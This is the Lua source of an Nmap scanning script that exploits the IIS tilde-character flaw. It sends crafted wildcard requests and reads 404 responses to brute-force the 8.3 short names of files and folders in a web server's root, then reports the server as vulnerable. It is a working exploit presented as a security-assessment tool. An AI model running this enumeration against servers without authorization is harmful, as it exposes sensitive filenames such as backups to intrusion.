182 lines
5.9 KiB
Lua
182 lines
5.9 KiB
Lua
description = [[
|
|
Attempts to brute force the 8.3 filenames (commonly known as short names) of files and directories in the root folder
|
|
of vulnerable IIS servers. This script is an implementation of the PoC "iis shortname scanner".
|
|
|
|
The script uses ~,? and * to bruteforce the short name of files present in the IIS document root.
|
|
Short names have a restriction of 6 character file name followed by a three character extension.
|
|
|
|
Notes:
|
|
* The script might have to be run twice (according to the original author).
|
|
* Tested against IIS 6.0 and 5.1.
|
|
|
|
References:
|
|
* Research paper: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
|
|
* IIS Shortname Scanner PoC: https://github.com/irsdl/IIS-ShortName-Scanner
|
|
]]
|
|
|
|
---
|
|
-- @usage
|
|
-- nmap -p80 --script http-iis-short-name-brute <target>
|
|
--
|
|
-- @output
|
|
-- PORT STATE SERVICE
|
|
-- 80/tcp open http
|
|
-- | http-iis-short-name-brute:
|
|
-- | VULNERABLE:
|
|
-- | Microsoft IIS tilde character "~" short name disclosure and denial of service
|
|
-- | State: VULNERABLE (Exploitable)
|
|
-- | Description:
|
|
-- | Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the webroot folder.
|
|
-- | Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
|
|
-- | cause a denial of service condition.
|
|
-- |
|
|
-- | Extra information:
|
|
-- |
|
|
-- | 8.3 filenames found:
|
|
-- | Folders
|
|
-- | admini~1
|
|
-- | Files
|
|
-- | backup~1.zip
|
|
-- | certsb~2.zip
|
|
-- | siteba~1.zip
|
|
-- |
|
|
-- | References:
|
|
-- | http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
|
|
-- |_ https://github.com/irsdl/IIS-ShortName-Scanner
|
|
---
|
|
|
|
author = {"Jesper Kueckelhahn", "Paulino Calderon"}
|
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
|
categories = {"intrusive", "brute"}
|
|
|
|
local stdnse = require "stdnse"
|
|
local shortport = require "shortport"
|
|
local table = require "table"
|
|
local http = require "http"
|
|
local vulns = require "vulns"
|
|
|
|
portrule = shortport.http
|
|
|
|
local chars = "abcdefghijklmnopqrstuvwxyz0123456789"
|
|
local magic = "/*.aspx?aspxerrorpath=/"
|
|
|
|
local folders = {}
|
|
folders["name"] = "Folders"
|
|
local files = {}
|
|
files["name"] = "Files"
|
|
local last_number = 0
|
|
local errors_max = false
|
|
local errors = 0
|
|
|
|
local function isFolder(host, port, path, number)
|
|
local data = http.get(host, port, "/" .. path .. "~" .. number .. magic)
|
|
return data.status == 404
|
|
end
|
|
|
|
|
|
local function isLonger(host, port, path, number)
|
|
local data = http.get(host, port, "/" .. path .. "%3f*~" .. number .. "*" .. magic)
|
|
return data.status == 404
|
|
end
|
|
|
|
|
|
local function foundName(host, port, path, number)
|
|
local data = http.get(host, port, "/" .. path .. "~" .. number .. "*" .. magic)
|
|
return data.status == 404
|
|
end
|
|
|
|
|
|
local function charInExtension(host, port, path, ext)
|
|
local data = http.get(host, port, "/" .. path .. ext .. "*" .. magic )
|
|
return data.status == 404
|
|
end
|
|
|
|
local function findExtension(host, port, path, ext)
|
|
if charInExtension(host, port, path, ext) then
|
|
-- currently only support for ext of length 3
|
|
if ext:len() == 3 then
|
|
stdnse.debug1("Added file: %s", path .. ext)
|
|
table.insert(files, path .. ext)
|
|
else
|
|
for c in chars:gmatch(".") do
|
|
findExtension(host, port, path, ext .. c)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
local function findName(host, port, path, number)
|
|
-- check if the name is valid
|
|
if foundName(host, port, path, number) then
|
|
if isFolder(host, port, path, number) then
|
|
--If the last 10 pages return 404, exit to deal to false positive case.
|
|
if tonumber(number) == (last_number + 1) then
|
|
errors = errors+1
|
|
end
|
|
if errors>10 then
|
|
stdnse.debug1("False positive detected. Exiting.")
|
|
errors_max=true
|
|
else
|
|
stdnse.debug1("Added folder: %s", path .. "~" .. number)
|
|
table.insert(folders, path .. "~" .. number)
|
|
|
|
-- increase the number ('~1' to '~2')
|
|
last_number = number
|
|
local nextNumber = tostring(tonumber(number) + 1)
|
|
findName(host, port, path, nextNumber)
|
|
end
|
|
-- if the name is valid, and it's not a folder, it must be a file
|
|
else
|
|
findExtension(host, port, path .. "~" .. number .. ".", "")
|
|
-- increase the number ('~1' to '~2')
|
|
local nextNumber = tostring(tonumber(number) + 1)
|
|
findName(host, port, path, nextNumber)
|
|
end
|
|
end
|
|
|
|
-- is the path valid (i.e. 404)
|
|
local cont = isLonger(host, port, path, number)
|
|
|
|
-- recurse if the path is valid and the length of path is not 6
|
|
if not (path:len() == 6) and cont and not(errors_max) then
|
|
stdnse.debug1("Testing: %s", path .. "~" .. number)
|
|
for c in chars:gmatch(".") do findName(host, port, path .. c, number) end
|
|
end
|
|
end
|
|
|
|
|
|
action = function(host, port)
|
|
local vuln = {
|
|
title = 'Microsoft IIS tilde character "~" short name disclosure and denial of service',
|
|
state = vulns.STATE.NOT_VULN,
|
|
description = [[
|
|
Vulnerable IIS servers disclose folder and file names with a Windows 8.3 naming scheme inside the root folder.
|
|
Shortnames can be used to guess or brute force sensitive filenames. Attackers can exploit this vulnerability to
|
|
cause a denial of service condition.
|
|
]],
|
|
references = {
|
|
'http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf',
|
|
'https://github.com/irsdl/IIS-ShortName-Scanner',
|
|
'https://www.securityfocus.com/archive/1/523424'
|
|
}
|
|
}
|
|
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
|
|
|
findName(host, port, "", "1")
|
|
--Cleans the false positive results.
|
|
if errors_max then
|
|
files = {}
|
|
folders = {}
|
|
end
|
|
--Vulnerable!
|
|
if #files>0 or #folders>0 then
|
|
local results = {}
|
|
table.insert(results, folders)
|
|
table.insert(results, files)
|
|
vuln.state = vulns.STATE.EXPLOIT
|
|
results.name = "8.3 filenames found:"
|
|
vuln.extra_info = stdnse.format_output(true, results)
|
|
end
|
|
return vuln_report:make_output(vuln)
|
|
end
|